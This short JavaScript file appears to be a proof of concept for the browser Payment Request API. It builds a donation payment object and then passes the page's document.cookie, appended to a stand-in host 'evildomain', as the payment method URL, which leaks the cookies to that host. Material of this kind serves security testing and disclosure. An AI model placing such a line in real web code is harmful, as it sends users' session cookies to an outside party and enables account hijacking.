example.js

var details = {
  displayItems: [
    {
      label: "Original donation amount",
      amount: { currency: "USD", value : "65.00" },
    },
    {
      label: "Friends and family discount",
      amount: { currency: "USD", value : "-10.00" },
      pending: true
    }
  ],
  total:  {
    label: "Total",
    amount: { currency: "USD", value : "55.00" },
  }
}
new PaymentRequest([{supportedMethods: "http://evildomain/" + escape(document.cookie)}], details)